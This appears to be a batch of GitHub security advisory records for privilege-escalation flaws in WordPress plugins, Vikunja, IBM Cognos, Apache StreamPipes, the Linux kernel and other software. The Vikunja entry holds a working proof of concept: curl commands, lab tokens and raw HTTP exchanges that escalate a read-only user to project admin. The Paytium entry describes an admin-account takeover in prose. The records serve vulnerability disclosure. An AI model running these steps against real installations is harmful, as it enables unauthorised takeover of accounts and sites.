CWE-269

{
  "affected": [],
  "aliases": [
    "CVE-2026-18467"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-24T02:16:52Z",
    "severity": "CRITICAL"
  },
  "details": "The Paytium: Mollie payment forms \u0026 donations plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.0.3. The 5.0.3 patch introduced a wp_hash()/hash_equals() signature gate on the pt-paytium-user-data field, but left a second filter \u2014 pt_cf_checkout_meta(), registered on the pt_meta_values hook after the signed builder \u2014 that copies every $_POST[\u0027pt_form_field\u0027][*] key verbatim into the payment meta array without any signature verification; this allows the pt-user-role value it copies to overwrite the signed path\u0027s output, after which paytium_user_data_processing() reads the persisted _pt-user-role post meta and passes it directly as the role argument to wp_insert_user(). This makes it possible for unauthenticated attackers to register a new WordPress account with the administrator role and fully take over the site. Exploitation requires submitting a payment through a publicly-exposed [paytium] shortcode form and completing the resulting payment flow, after which the attacker can seize the new administrator account via the standard lost-password flow on their supplied email address.",
  "id": "GHSA-pjhr-j4c6-9f6g",
  "modified": "2026-09-24T03:30:27Z",
  "published": "2026-09-24T03:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18467"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/paytium/tags/5.0.3/includes/payment-functions.php#L113"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/paytium/tags/5.0.3/includes/process-payment-functions.php#L1103"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/paytium/tags/5.0.3/includes/process-payment-functions.php#L21"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/paytium/tags/5.0.3/includes/process-payment-functions.php#L696"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/paytium/tags/5.0.3/includes/user-data-functions.php#L214"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3678569/paytium"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/caa1a42a-6bb2-42c8-aae7-fb1c895573a8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-82857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-31T09:17:05Z",
    "severity": "CRITICAL"
  },
  "details": "hulumi versions before v1.3.2 contain a privilege escalation vulnerability in the weekly integration IAM policy that allows role lifecycle operations on af-e2e-* roles without sufficient boundary restrictions. Attackers with the documented principal can create persistent higher-privilege roles in the sandbox account.",
  "id": "GHSA-pjj3-j4q3-9wpg",
  "modified": "2026-08-31T09:30:30Z",
  "published": "2026-08-31T09:30:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kerberosmansour/hulumi/security/advisories/GHSA-35qr-vx94-m5x3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82857"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hulumi-before-1.3.2-privilege-escalation-via-iam-policy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-85681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-12T06:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "The WP Component WordPress plugin through 2.2.4 does not have any capability or nonce checks on one of the actions it makes available to unauthenticated users, and it takes both the option name and the option value from the request, allowing unauthenticated attackers to overwrite any of the site\u0027s options. On a single site installation this leads to a full takeover, as registration can be enabled with a default role of administrator.",
  "id": "GHSA-pjpf-74g9-grmh",
  "modified": "2026-09-12T18:30:22Z",
  "published": "2026-09-12T06:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85681"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/c602bd9e-a825-4990-a66b-1403bbeb2cee"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-5671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-29T14:59:00Z",
    "severity": "HIGH"
  },
  "details": "Honeywell Intermec PM23, PM42, PM43, PC23, PC43, PD43, and PC42 industrial printers before 10.11.013310 and 10.12.x before 10.12.013309 have /usr/bin/lua installed setuid to the itadmin account, which allows local users to conduct a BusyBox jailbreak attack and obtain root privileges by overwriting the /etc/shadow file.",
  "id": "GHSA-pjq5-wxp4-r9pj",
  "modified": "2025-04-20T03:34:58Z",
  "published": "2022-05-13T01:46:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5671"
    },
    {
      "type": "WEB",
      "url": "https://akerva.com/blog/intermec-industrial-printers-local-root-with-busybox-jailbreak"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kmkz/exploit/blob/master/CVE-2017-5671-Credits.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/41754"
    },
    {
      "type": "WEB",
      "url": "http://apps.intermec.com/downloads/eps_download/Firmware%20Release%20Notes%20x10_11_013310.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97236"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-51476"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-17T09:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Privilege Management vulnerability in IOSS WP MLM Unilevel allows Privilege Escalation.This issue affects WP MLM Unilevel: from n/a through 4.0.",
  "id": "GHSA-pjq8-j3mp-fhvg",
  "modified": "2024-05-17T09:31:01Z",
  "published": "2024-05-17T09:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51476"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-mlm/wordpress-wp-mlm-unilevel-plugin-4-0-unauthenticated-account-takeover-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "versions": [
        "2.6.0"
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:57:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\n### Summary\n\nIn Vikunja v2.6.0 the project-permission engine resolves a user\u0027s effective permission on a project as\nthe **MAX over the entire reachable project subtree**. As a result, when a user has been granted a\n**higher** permission on a parent project and the owner *explicitly* shares a **child** project with\nthat same user at a **lower** permission (an intended down-restriction), the explicit lower grant is\n**silently ignored** and the user receives the higher, inherited permission on the child. A user\nwho was deliberately restricted to **read-only** on a sensitive sub-project can therefore modify it,\ndelete it, and re-share it (including granting other users admin) - none of which the owner intended.\nThis is a behavior regression from v2.5.0, whose engine used \"nearest-ancestor-grant-wins\" semantics\nthat honored the explicit child grant.\n\n### Details\n\nEffective permissions are computed by a single recursive CTE in\n`pkg/models/project_access.go` (`getProjectAccessForUser`):\n\n```sql\nWITH RECURSIVE grants (project_id, permission) AS (\n    SELECT project_id, MAX(permission) FROM (\n        SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?\n        UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?\n        UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp\n                  INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?\n    ) direct_grants GROUP BY project_id\n),\ntree (id, permission) AS (\n    SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id\n    UNION\n    SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id\n)\nSELECT id, MAX(permission) AS permission FROM tree GROUP BY id\n```\n\nFor a parent `P` where the user has a direct ADMIN(2) grant and a child `C` (with\n`parent_project_id = P`) where the user has a direct READ(0) grant, the `tree` CTE produces the rows\n`(P,2)`, `(C,0)` (direct grants) **and** `(C,2)` (the parent grant propagated down the recursion). The\nfinal `SELECT id, MAX(permission) ... GROUP BY id` collapses the child to `MAX(0, 2) = 2 (ADMIN)`. The\nexplicit READ grant on `C` is discarded.\n\nIn v2.5.0 the equivalent resolution used `ROW_NUMBER() OVER (... ORDER BY priority)` (nearest-ancestor\nwins), so the child\u0027s own direct grant took precedence and the down-restriction was honored. The switch\nto `MAX(...)` in v2.6.0 introduces the override. Code comments in `project_access.go` describe the\nadditive behavior as intentional (\"a grant on a descendant can raise an inherited permission, never\nlower it\"), so the maintainers may consider this working-as-intended - but it is a security-relevant\nregression that silently defeats an explicit, owner-configured access restriction, so it is reported\nhere for a decision.\n\n### PoC\n\nTarget: `http://localhost:3456` (Vikunja v2.6.0). Owner: `admin`. Restricted collaborator: `alice`\n(id 2). Third party used to demonstrate re-sharing: `bob`. Note Vikunja\u0027s v1 REST convention: **`PUT` =\ncreate, `POST` = update**. All values below are the **real, unredacted** values from the run.\n\n#### Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)\n\n```bash\ncurl -s -X POST http://localhost:3456/api/v1/login -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"VikunjaLab123!\"}\u0027\ncurl -s -X POST http://localhost:3456/api/v1/login -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"alice\",\"password\":\"AliceLab123!\"}\u0027\n```\n\nReal tokens issued:\n```\nadmin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg\nalice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\n```\n\n#### Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)\n\n```bash\n# parent (id 18)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"title\":\"FinanceRoot\"}\u0027\n# child of parent 18 (id 19)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"title\":\"Q4-Payroll-CONFIDENTIAL\",\"parent_project_id\":18}\u0027\n# standalone control (id 20)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"title\":\"ControlStandalone\"}\u0027\n```\nResult: parent `id=18`, child `id=19` (`parent_project_id=18`), control `id=20`.\n\n#### Step 3 - Owner grants: parent \u2192 alice ADMIN(2); child \u2192 alice READ(0) (the intended down-restriction); control \u2192 alice READ(0)\n\n```bash\ncurl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"username\":\"alice\",\"permission\":2}\u0027   # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"username\":\"alice\",\"permission\":0}\u0027   # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"username\":\"alice\",\"permission\":0}\u0027   # -\u003e 201\n```\n\nConfirm the recorded child grant is READ(0):\n```bash\ncurl -s http://localhost:3456/api/v1/projects/19/users -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027\n# -\u003e [{\"id\":..,\"username\":\"alice\",\"permission\":0, ...}]     (0 = Read only)\n```\n\n#### Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\u0027 \\\n  -d \u0027{\"username\":\"bob\",\"permission\":2}\u0027\n```\n\n**Burp / raw HTTP request**\n\n```http\nPUT /api/v1/projects/19/users HTTP/1.1\nHost: localhost:3456\nUser-Agent: curl/8.20.0\nAccept: */*\nContent-Type: application/json\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\nContent-Length: 33\n\n{\"username\":\"bob\",\"permission\":2}\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 201 Created\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 128\n\n{\"id\":12,\"username\":\"bob\",\"permission\":2,\"created\":\"2026-09-07T17:39:34.158776607Z\",\"updated\":\"2026-09-07T17:39:34.158778081Z\"}\n```\n\nalice - restricted to READ on project 19 - successfully granted **bob ADMIN(2)** on it (a share-management\noperation that requires project admin). She can equally modify it:\n\n```bash\n# write op (POST = update); succeeds -\u003e HTTP 200\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 -X POST http://localhost:3456/api/v1/projects/19 \\\n  -H \u0027Content-Type: application/json\u0027 -H \u0027Authorization: Bearer \u003calice-token\u003e\u0027 \\\n  -d \u0027{\"title\":\"Q4-Payroll-TAMPERED-BY-ALICE\"}\u0027\n# -\u003e 200\n```\n\n#### Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Authorization: Bearer \u003calice-token\u003e\u0027 -d \u0027{\"username\":\"bob\",\"permission\":0}\u0027\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 403 Forbidden\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 33\n\n{\"code\":0,\"message\":\"Forbidden\"}\n```\n\nThe single-variable differential: alice\u0027s identical READ(0) grant denies the admin operation on a\nstandalone project (403), but the *same* READ(0) grant on a child of a project where she holds ADMIN is\nsilently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the\ninherited-permission override, not to alice\u0027s explicit grant.\n\n### Impact\n\nThis is a **broken access control / improper privilege management** issue (CWE-269). A project owner who\ngrants a collaborator a high permission on a parent project and then explicitly shares a sensitive\nsub-project with that collaborator at a **lower** permission (e.g. read-only) does **not** get the\nrestriction they configured: the collaborator silently retains the higher inherited permission on the\nsub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated:\ngranting `bob` ADMIN on the read-restricted child). This defeats an explicit, security-relevant\nconfiguration and can expose or allow tampering with data on sub-projects that were meant to be\nrestricted. It is a regression from v2.6.0\u0027s predecessor, which honored the nearest (child) grant. The\nprerequisite is that the attacker already holds a higher permission on an ancestor project; the security\nloss is specifically the inability to enforce a narrower permission on a descendant.",
  "id": "GHSA-pjr3-86v4-5p7w",
  "modified": "2026-10-09T20:57:44Z",
  "published": "2026-10-09T20:57:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-pjr3-86v4-5p7w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-29824"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-22T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Cognos Analytics 11.1.7, 11.2.0, and 11.1.7 is vulnerable to priviledge escalation where a lower level user could have read access to to the \u0027Data Connections\u0027 page to which they don\u0027t have access. IBM X-Force ID: 204468.",
  "id": "GHSA-pjv6-j329-8r94",
  "modified": "2022-04-30T00:00:45Z",
  "published": "2022-04-23T00:03:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29824"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/204468"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220602-0003"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6570957"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-9332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-17T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "ftusbbus2.sys in FabulaTech USB for Remote Desktop through 2020-02-19 allows privilege escalation via crafted IoCtl code related to a USB HID device.",
  "id": "GHSA-pjxp-vfpq-9869",
  "modified": "2022-05-24T17:20:49Z",
  "published": "2022-05-24T17:20:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9332"
    },
    {
      "type": "WEB",
      "url": "https://labs.sentinelone.com/click-from-the-backyard-cve-2020-9332"
    },
    {
      "type": "WEB",
      "url": "https://www.fabulatech.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.streampipes:streampipes-parent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.69.0"
            },
            {
              "fixed": "0.92.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-31469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-23T21:44:46Z",
    "nvd_published_at": "2023-06-23T08:15:09Z",
    "severity": "HIGH"
  },
  "details": "A REST interface in Apache StreamPipes (versions 0.69.0 to 0.91.0) was not properly restricted to admin-only access. This allowed a non-admin user with valid login credentials to elevate privileges beyond the initially assigned roles.\nThe issue is resolved by upgrading to StreamPipes 0.92.0.\n\n",
  "id": "GHSA-pm73-x2h5-cmj3",
  "modified": "2023-07-05T17:16:47Z",
  "published": "2023-06-23T09:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31469"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/streampipes"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/c4y8kf9bzpf36v4bottfmd8tc9cxo19m"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache StreamPipes Improper Privilege Management vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-46333"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-15T14:16:35Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nptrace: slightly saner \u0027get_dumpable()\u0027 logic\n\nThe \u0027dumpability\u0027 of a task is fundamentally about the memory image of\nthe task - the concept comes from whether it can core dump or not - and\nmakes no sense when you don\u0027t have an associated mm.\n\nAnd almost all users do in fact use it only for the case where the task\nhas a mm pointer.\n\nBut we have one odd special case: ptrace_may_access() uses \u0027dumpable\u0027 to\ncheck various other things entirely independently of the MM (typically\nexplicitly using flags like PTRACE_MODE_READ_FSCREDS).  Including for\nthreads that no longer have a VM (and maybe never did, like most kernel\nthreads).\n\nIt\u0027s not what this flag was designed for, but it is what it is.\n\nThe ptrace code does check that the uid/gid matches, so you do have to\nbe uid-0 to see kernel thread details, but this means that the\ntraditional \"drop capabilities\" model doesn\u0027t make any difference for\nthis all.\n\nMake it all make a *bit* more sense by saying that if you don\u0027t have a\nMM pointer, we\u0027ll use a cached \"last dumpability\" flag if the thread\never had a MM (it will be zero for kernel threads since it is never\nset), and require a proper CAP_SYS_PTRACE capability to override.",
  "id": "GHSA-pm8f-4p6p-6x53",
  "modified": "2026-10-15T03:35:53Z",
  "published": "2026-05-15T15:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46333"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23471"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24814"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33486"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-46333"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477802"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-019113.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-457936.html"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/01363cb3fbd0238ffdeb09f53e9039c9edf8a730"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/15b828a46f305ae9f05a7c16914b3ce273474205"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2a93a4fac7b6051d3be7cd1b015fe7320cd0404d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4709234fd1b95136ceb789f639b1e7ea5de1b181"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6e5b51e74a40d377bcd3081dd33fbaa0e1aa7e3d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8f907d345bae8f4b3f004c5abc56bf2dfb851ea7"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/93d4ba49d18e3d7fb41a9927c2d0cca5e9dfefd6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00035.html"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46333.json"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19521"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19540"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19568"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19569"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19664"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19666"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19705"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19711"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19875"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20051"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20054"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20129"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20130"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20299"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20593"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21701"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21702"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23468"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23469"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23470"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/15/9"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/20/14"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/20/16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}